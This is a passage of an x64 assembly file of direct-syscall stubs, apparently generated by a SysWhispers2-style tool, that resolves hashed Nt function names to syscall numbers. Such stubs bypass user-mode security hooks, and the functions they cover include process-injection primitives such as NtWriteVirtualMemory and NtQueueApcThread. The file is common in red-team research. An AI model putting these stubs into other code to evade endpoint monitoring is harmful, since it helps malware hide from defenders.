mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 072E48372h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenFile ENDP
NtDelayExecution PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01A8E1013h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDelayExecution ENDP
NtQueryDirectoryFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0242354B4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDirectoryFile ENDP
NtQuerySystemInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01FB21B20h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySystemInformation ENDP
NtOpenSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04C864C15h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenSection ENDP
NtQueryTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 021867FAAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryTimer ENDP
NtFsControlFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 025398A0Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFsControlFile ENDP
NtWriteVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DD95C91Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWriteVirtualMemory ENDP
NtCloseObjectAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EAADE83Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCloseObjectAuditAlarm ENDP
NtDuplicateObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0043E3C72h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDuplicateObject ENDP
NtQueryAttributesFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FB78FBDDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryAttributesFile ENDP
NtClearEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04B4954C2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtClearEvent ENDP
NtReadVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F093F61Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReadVirtualMemory ENDP
NtOpenEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 068F2FAF4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenEvent ENDP
NtAdjustPrivilegesToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DBC956D9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAdjustPrivilegesToken ENDP
NtDuplicateToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 017118014h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDuplicateToken ENDP
NtContinue PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A322DEBDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtContinue ENDP
NtQueryDefaultUILanguage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 017B0D40Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDefaultUILanguage ENDP
NtQueueApcThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024A62805h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueueApcThread ENDP
NtYieldExecution PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00EE1EEB3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtYieldExecution ENDP
NtAddAtom PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01D511AC0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAddAtom ENDP
NtCreateEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08712BEA7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateEvent ENDP
NtQueryVolumeInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A63F502Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryVolumeInformationFile ENDP
NtCreateSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03C8B1C55h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateSection ENDP
NtFlushBuffersFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 060FA17E2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFlushBuffersFile ENDP
NtApphelpCacheControl PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003D2FD99h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtApphelpCacheControl ENDP
NtCreateProcessEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 070920268h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateProcessEx ENDP
NtCreateThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A88F24BFh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateThread ENDP
NtIsProcessInJob PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0631557BFh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtIsProcessInJob ENDP
NtProtectVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0801A9084h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtProtectVirtualMemory ENDP
NtQuerySection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01B303BA3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySection ENDP
NtResumeThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0912DD616h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtResumeThread ENDP
NtTerminateThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 014CC4E75h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTerminateThread ENDP
NtReadRequestData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 013CCFD83h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReadRequestData ENDP
NtCreateFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 090B89E13h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateFile ENDP
NtQueryEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0080C69E6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryEvent ENDP
NtWriteRequestData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A207484Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWriteRequestData ENDP
NtOpenDirectoryObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 022190C43h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenDirectoryObject ENDP
NtAccessCheckByTypeAndAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 016B61220h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckByTypeAndAuditAlarm ENDP
NtWaitForMultipleObjects PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D32B8FC5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForMultipleObjects ENDP
NtSetInformationObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 004B8D5E5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationObject ENDP
NtCancelIoFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0089E7444h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelIoFile ENDP
NtTraceEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FEC778D5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTraceEvent ENDP
NtPowerInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0604F22E0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPowerInformation ENDP
NtSetValueKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 06BDE7844h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetValueKey ENDP
NtCancelTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 033645BBEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelTimer ENDP
NtSetTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 064424EDAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetTimer ENDP
NtAccessCheckByType PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D843AC4Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckByType ENDP
NtAccessCheckByTypeResultList PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0741B5883h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckByTypeResultList ENDP
NtAccessCheckByTypeResultListAndAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 008B7E428h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckByTypeResultListAndAuditAlarm ENDP
NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F9A42010h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
NtAcquireProcessActivityReference PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0089DCEC0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAcquireProcessActivityReference ENDP
NtAddAtomEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01BEE5518h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAddAtomEx ENDP
NtAddBootEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0061A1294h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAddBootEntry ENDP
NtAddDriverEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 009951502h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAddDriverEntry ENDP
NtAdjustGroupsToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A790F5ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAdjustGroupsToken ENDP
NtAdjustTokenClaimsAndDeviceGroups PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 039975901h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAdjustTokenClaimsAndDeviceGroups ENDP
NtAlertResumeThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BD97A12Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlertResumeThread ENDP
NtAlertThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AF97A307h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlertThread ENDP
NtAlertThreadByThreadId PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B7AE699Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlertThreadByThreadId ENDP
NtAllocateLocallyUniqueId PROC
